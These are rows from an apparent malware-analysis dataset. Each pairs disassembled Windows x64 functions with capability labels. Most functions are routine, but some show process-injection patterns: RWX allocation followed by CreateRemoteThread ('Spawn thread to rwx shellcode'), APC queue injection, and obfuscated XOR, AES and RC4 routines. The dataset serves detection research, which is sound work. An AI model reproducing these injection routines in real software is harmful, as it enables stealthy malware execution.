joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801d2ee4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1801d2f14
xor eax, eax
jmp 0x1801d2fd7
mov rbp, rbx
cmp word [rax], si
je 0x1801d2f39
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1801d2f20
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1801d2f1c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1801d2e04
movsxd r14, eax
test eax, eax
jne 0x1801d2f77
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1801d2f0d
mov rcx, r14
call fcn.1801cd52c
mov rdi, rax
test rax, rax
jne 0x1801d2f90
xor ecx, ecx
call fcn.1801c7c20
jmp 0x1801d2f6c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1801d2e04
test eax, eax
jne 0x1801d2fc1
mov rcx, rdi
call fcn.1801c7c20
jmp 0x1801d2fcb
xor ecx, ecx
call fcn.1801c7c20
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1801d2ff4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1801d307b
mov rsi, rbx
cmp word [rax], bp
je 0x1801d303a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1801d3024
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1801d3020
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1801cd52c
mov rdi, rax
test rax, rax
je 0x1801d3068
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1801dc6d0
mov rbp, rdi
xor ecx, ecx
call fcn.1801c7c20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1801d8484
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1801c9958
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1801d8525
cmp ebx, dword [rsp + 0x30]
je 0x1801d851e
test esi, esi
je 0x1801d851e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1801d84f9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1801d8506
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1801d84e3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1801d850a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1801d8527
mov eax, 1
jmp 0x1801d8527
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1801dafe0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1801cd0f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1801cd0f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1801db130
cmp rax, 0xffffffffffffffff
je 0x1801db130
xor edi, edi
test rbp, rbp
jle 0x1801db0db
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1801c7ba8
mov rbx, rax
test rax, rax
jne 0x1801db068
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1801db0d1
mov edx, 0x8000
mov ecx, r14d
call fcn.1801dae64
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1801cc01c
cmp eax, 0xffffffff
je 0x1801db0b1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1801db078
mov edx, r15d
mov ecx, r14d
call fcn.1801dae64
jmp 0x1801db0d1
cmp byte [rsi + 0x38], dil
je 0x1801db0c8
cmp dword [rsi + 0x34], 5
jne 0x1801db0c8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1801db0d1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1801c7c20
jmp 0x1801db144
jns 0x1801db144
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1801cd0f4
cmp rax, 0xffffffffffffffff
jne 0x1801db0fc
cmp byte [rsi + 0x30], dil
je 0x1801db144
mov edi, dword [rsi + 0x2c]
jmp 0x1801db144
mov ecx, r14d
call fcn.1801d4e5c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1801db144
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1801db144
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1801db13d
mov eax, dword [rsi + 0x2c]
jmp 0x1801db142
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1801cd0f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1801dc260
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1801dc288
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1801dc288
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x26e7a1370
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov r14d, r9d
mov r15, r8
mov rbp, rdx
mov rdi, rcx
mov ecx, dword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 0x40
xor ebx, ebx
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8, rbp
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x26e7a1443
mov rsi, rax
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x26e7a1441
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea r9, [0x26e7a1360]
xor ebx, ebx
mov rcx, 0xffffffffffffffff
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [r15], rax
test rax, rax
je 0x26e7a1443
test r14d, r14d
je 0x26e7a143c
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, rsi
jmp 0x26e7a1443
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x26e7a1730
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.26e7a2340
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.26e7a2340
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x26e7a17a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x26e7e4064]
mov rbx, rcx
test esi, esi
jle 0x26e7a18d0
mov rax, qword [0x26e7e4068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x26e7a17eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x26e7a1875
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x26e7a17d0
mov rcx, rbx
call fcn.26e7a2000
mov rdi, rax
test rax, rax
je 0x26e7a18f2
mov rax, qword [0x26e7e4068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.26e7a2140
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x26e7e4068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x26e7a18d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x26e7a186e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x26e7a1880
add dword [0x26e7e4064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x26e7e4068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x26e7a186e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.26e7a1730
nop dword [rax]
xor esi, esi
jmp 0x26e7a17f8
mov rax, qword [0x26e7e4068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.26e7a1730
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.26e7a1730
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x26e7a1c70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x26e7e40a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x26e7e4080]
test rbx, rbx
je 0x26e7a1ccc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x26e7a1cc3
test rsi, rsi
je 0x26e7a1cc3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x26e7a1ca8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x26e7a2000
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x26e7e1210]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x26e7a2020
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x26e7a2028
ret
cmp word [r8 + 0x18], 0x20b
jne 0x26e7a2020
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x26e7a207d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x26e7a2074
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x26e7a2020
add rax, 0x28
cmp rax, r9
jne 0x26e7a2060
xor eax, eax
ret

Function at 0x26e7a2080
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x26e7e1210]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x26e7a209f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x26e7a20a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x26e7a209f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x26e7a2140
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x26e7e1210]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x26e7a215f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x26e7a2168
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x18000d39c
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
movaps xmmword [rax - 0x28], xmm6
mov r15, rcx
test r8, r8
je 0x18000d4c4
mov rdi, rcx
lea rbp, [r8 - 1]
sub rdi, rdx
shr rbp, 4
add rdi, 0xf0
lea rsi, [rdx + 9]
inc rbp
lea rbx, [rsi - 9]
mov r8, r15
movups xmm6, xmmword [rbx]
mov rdx, rbx
mov cl, 0xe
call fcn.18000d514
mov r14b, 0xd
mov al, byte [rsi]
mov rdx, rbx
mov cl, byte [rsi + 4]
mov r9d, 4
mov byte [rsi + 4], al
mov al, byte [rsi - 4]
mov byte [rsi], al
mov al, byte [rsi - 8]
mov byte [rsi - 4], al
mov al, byte [rsi + 1]
mov byte [rsi - 8], cl
mov cl, byte [rsi - 7]
mov byte [rsi - 7], al
mov al, byte [rsi + 5]
mov byte [rsi + 1], cl
mov cl, byte [rsi - 3]
mov byte [rsi - 3], al
mov al, byte [rsi - 2]
mov byte [rsi + 5], cl
mov cl, byte [rsi - 6]
mov byte [rsi - 6], al
mov al, byte [rsi + 2]
mov byte [rsi - 2], al
mov al, byte [rsi + 6]
mov byte [rsi + 2], al
mov byte [rsi + 6], cl
mov rcx, rdx
mov r8d, 4
movzx eax, byte [rcx]
lea r10, [0x180039550]
mov al, byte [rax + r10]
mov byte [rcx], al
lea rcx, [rcx + 4]
sub r8, 1
jne 0x18000d44f
inc rdx
sub r9, 1
jne 0x18000d446
mov r8, r15
mov rdx, rbx
mov cl, r14b
call fcn.18000d514
test r14b, r14b
je 0x18000d496
mov rcx, rbx
call fcn.18000d6bc
add r14b, 0xff
jmp 0x18000d3f7
mov ecx, 0x10
mov al, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x18000d49b
add rsi, 0x10
sub rdi, 0x10
movdqu xmmword [r15 + 0xf0], xmm6
sub rbp, 1
jne 0x18000d3e0
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x18000d514
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x10
mov qword [rsp + 0x38], 0xe5
mov rsi, r8
mov rax, qword [0x180052298]
xor r8d, r8d
mov eax, dword [0x1800522ac]
mov r11b, r8b
mov qword [rsp + 0x38], rax
mov rax, qword [0x180052298]
mov dword [rsp + 4], 0xe8da0431
movabs rax, 0x78a6084af5c7d
mov qword [rsp + 0x38], rax
mov rax, qword [0x1800522e0]
mov qword [rsp + 0x38], rax
mov eax, 0xffffcecd
mov qword [rsp + 0x38], Ordinal_116
mov rdi, qword [0x180052308]
movsx ebp, byte [0x180052194]
mov dword [rsp + 0x38], 0x74401a59
mov byte [rsp + 0x38], 0x4d
mov word [rsp], ax
movzx eax, word [0x180052310]
mov word [rsp + 0x38], ax
mov al, byte [0x18005224a]
mov byte [rsp + 0x38], al
mov eax, dword [0x1800522c0]
movzx eax, byte [0x1800521ff]
mov word [rsp + 0x38], ax
mov eax, 0x55
mov word [rsp + 0x38], ax
mov eax, 0xffffdbdc
mov word [rsp + 0x38], ax
movzx eax, byte [0x1800521fe]
mov dword [rsp + 0x38], eax
mov eax, dword [0x1800522ac]
mov qword [rsp + 0x38], rax
mov eax, 0xffff955e
mov dword [rsp + 0x38], 0x2540ae88
mov word [rsp + 0x38], ax
mov eax, 0xfffff2f2
movzx ebx, cl
mov word [rsp + 0x38], ax
shl ebx, 2
movzx r9d, r11b
mov r10b, r8b
add r9d, ebx
shl r9d, 2
movzx eax, r10b
inc r10b
add eax, r9d
mov cl, byte [rax + rsi]
xor byte [rdx], cl
inc rdx
cmp r10b, 4
jb 0x18000d625
inc r11b
cmp r11b, 4
jb 0x18000d617
mov ecx, dword [rsp + 4]
movsx eax, byte [0x18005220a]
imul ecx, eax
mov byte [0x1800521fe], 1
imul ecx, dword [0x180052310]
movsxd rdx, ecx
mov ecx, ebp
sub ecx, dword [0x1800522d8]
imul rcx, qword [0x1800522e8]
cmp rdx, rcx
sete byte [rsp + 0x38]
cmp byte [0x1800521fe], 1
jne 0x18000d6a4
mov rax, qword [0x180052308]
test rax, rax
movzx eax, word [rsp]
sete r8b
xor r8w, di
mov word [0x1800522c4], r8w
mov rbx, qword [rsp + 0x20]
xor eax, eax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
add rsp, 0x10
pop rdi
ret
Function at 0x18002bd18
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x38
movsx rax, word [0x180052cb4]
xor r10d, r10d
mov qword [rsp + 0x10], rax
movzx eax, word [0x180052c9c]
mov dword [rsp + 0x24], 0x8c624f85
mov al, byte [0x180052b76]
mov byte [rsp], al
mov eax, 0x3f
mov word [rsp + 8], ax
mov eax, dword [0x180052cb8]
mov rax, qword [0x180052d20]
mov dword [rsp + 0x20], eax
movzx eax, byte [0x180052baf]
mov dword [rsp + 0x1c], eax
mov eax, 0xca147e74
mov byte [rsp + 1], 5
mov qword [rsp + 0x10], rax
mov eax, 0x58c
mov qword [rsp + 0x10], 0x6dd2c64f
mov dword [rsp + 0xc], 0x1c9
mov word [rsp + 0x18], ax
movzx eax, word [0x180052bfc]
mov qword [rsp + 0x10], rax
mov al, byte [0x180052b76]
movzx eax, word [0x180052cc0]
mov qword [rsp + 0x10], Ordinal_138
mov word [rsp + 4], ax
movsx eax, byte [0x180052b76]
mov dword [rsp + 0x24], eax
mov byte [rsp + 4], 0x24
mov rax, qword [0x180052d20]
mov qword [rsp + 0x10], rax
mov al, byte [0x180052b77]
mov rax, qword [0x180052d08]
movabs rax, 0xc9bc0113a36f3
mov qword [rsp + 0x10], rax
movzx eax, word [0x180052ce4]
mov word [rsp + 4], ax
mov qword [rsp + 0x10], 0xd5
mov rax, qword [0x180052d20]
mov rax, qword [0x180052ce8]
mov eax, dword [0x180052cb8]
mov word [rsp + 4], ax
mov rax, qword [0x180052d18]
mov rax, qword [0x180052ce8]
movsx ecx, word [rsp + 0x18]
mov eax, dword [rsp + 0xc]
cmp eax, ecx
jb 0x18002be5b
movsx eax, word [0x180052cb4]
mov dword [rsp + 0xc], eax
mov rax, qword [0x180052cd8]
sub eax, 0x6e468fad
mov dword [0x180052d28], eax
jmp 0x18002be95
movzx eax, word [0x180052cbc]
test ax, ax
je 0x18002be6c
mov al, byte [rsp]
jmp 0x18002be95
mov rcx, qword [0x180052d20]
movzx edx, word [0x180052bfc]
movzx eax, word [rsp + 8]
cmp rdx, rcx
jae 0x18002be95
movsx eax, word [0x181180fce]
mov ecx, dword [rsp + 0x1c]
add ecx, eax
mov dword [rsp + 0x1c], ecx
movsx rcx, byte [0x180052b76]
mov r9d, 0x1e9
mov rax, qword [0x180052d08]
sub cl, al
mov byte [0x180052b76], cl
mov ecx, dword [rsp + 0xc]
mov eax, dword [rsp + 0xc]
sub rcx, rax
mov rax, qword [0x180052ce8]
sub ecx, eax
mov eax, dword [0x1810c57b8]
mov dword [rsp + 0xc], ecx
mov dword [0x180052cb8], eax
movzx eax, word [0x180052c14]
mov word [0x180052ce0], ax
mov eax, dword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
test eax, eax
je 0x18002bf00
cmp word [0x180052cf4], r10w
mov r8d, 1
je 0x18002bf03
mov r8d, r10d
movsx ecx, byte [rsp + 1]
mov edx, r10d
movzx eax, word [rsp + 8]
cmp ax, cx
setg dl
cmp edx, r8d
jbe 0x18002bf2d
mov rax, qword [0x180052ca8]
xor rax, 0x9c
mov qword [rsp + 0x10], rax
sub r9, 1
jne 0x18002bee4
movsxd rax, dword [rsp + 0x24]
add rsp, 0x38
ret
Function at 0x1400055c0
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14004e3b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12d, edx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
xor r13d, r13d
mov esi, r13d
mov qword [rsp + 0x30], r13
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebp, eax
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rsp + 0x38], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3c], xmm0
mov qword [rsp + 0x4c], rax
lea rdx, [rsp + 0x38]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32First
mov rdi, qword [rsp + 0x28]
test eax, eax
je 0x140005689
nop dword [rax]
cmp dword [rsp + 0x44], ebp
jne 0x140005678
cmp rdi, rsi
je 0x14000565c
mov eax, dword [rsp + 0x40]
mov dword [rdi], eax
add rdi, 4
mov qword [rsp + 0x28], rdi
jmp 0x140005678
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.1400015e0
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
lea rdx, [rsp + 0x38]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140005640
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rbp, qword [rsp + 0x20]
sub rax, rbp
cmp rax, 4
jb 0x140005720
cmp rbp, rdi
je 0x140005720
mov rbx, rbp
bts r12d, 0x14
mov r14d, dword [rbx]
mov r8d, r14d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r15, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x1400056dc
add rbx, 4
cmp rbx, rdi
je 0x140005720
jmp 0x1400056b0
lea rdx, str.Using_thread_TID
lea rcx, [0x14004f980]
call fcn.140001230
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov ecx, dword [r8 + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [r8 + rax + 0x18], ecx
mov edx, r14d
mov rcx, rax
call fcn.140002a70
mov rcx, rax
call fcn.140001c60
mov r13, r15
test rbp, rbp
je 0x140005758
sub rsi, rbp
and rsi, 0xfffffffffffffffc
mov rax, rbp
cmp rsi, 0x1000
jb 0x14000574d
add rsi, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005780
mov rdx, rsi
mov rcx, rbp
call fcn.14000fd38
mov rax, r13
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000fe50
mov rbx, qword [rsp + 0xb0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140016594
int3
Function at 0x14000c630
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rbp, r8
mov edx, 0x100010
mov rbx, rcx
call fcn.1400055c0
mov rdi, rax
lea r9, [rax - 1]
cmp r9, 0xfffffffffffffffd
ja 0x14000c7d8
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8, rbp
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, [0x14004f980]
test eax, eax
jne 0x14000c6f4
lea rdx, str.Failed_to_protect_
call fcn.140001230
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140002a70
lea rdx, [0x140039b2c]
mov rcx, rax
call fcn.140001230
lea rdx, str.Making_memory_executable_failed__n
lea rcx, [0x14004f980]
jmp 0x14000c7e6
lea rdx, str.Protection_changed__Old:
call fcn.140001230
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov rcx, rax
mov edx, dword [r8 + rax + 0x18]
and edx, 0xfffff9ff
bts edx, 0xb
mov dword [r8 + rax + 0x18], edx
mov edx, dword [rsp + 0x30]
call fcn.140002a70
lea rdx, [0x140039b2c]
mov rcx, rax
call fcn.140001230
test rsi, rsi
jne 0x14000c74e
lea rdx, str.Making_memory_executable_failed__n
lea rcx, [0x14004f980]
jmp 0x14000c7e6
lea rcx, str.ntdll.dll
xor bl, bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x14000c797
lea rdx, str.Using_RtlDispatchAPC_n
lea rcx, [0x14004f980]
call fcn.140001230
mov r8, rsi
mov qword [rsp + 0x20], 0xffffffffffffffff
mov rdx, rbp
jmp 0x14000c7a6
mov qword [rsp + 0x20], 0
xor r8d, r8d
mov rdx, rsi
xor r9d, r9d
mov rcx, rdi
call fcn.140005f00
test al, al
je 0x14000c7ca
lea rdx, str.Added_to_the_thread_queue__n
mov bl, 1
lea rcx, [0x14004f980]
call fcn.140001230
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, bl
jmp 0x14000c7ed
lea rdx, str.Invalid_thread_handle__n
lea rcx, [0x14004fab0]
call fcn.140001230
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret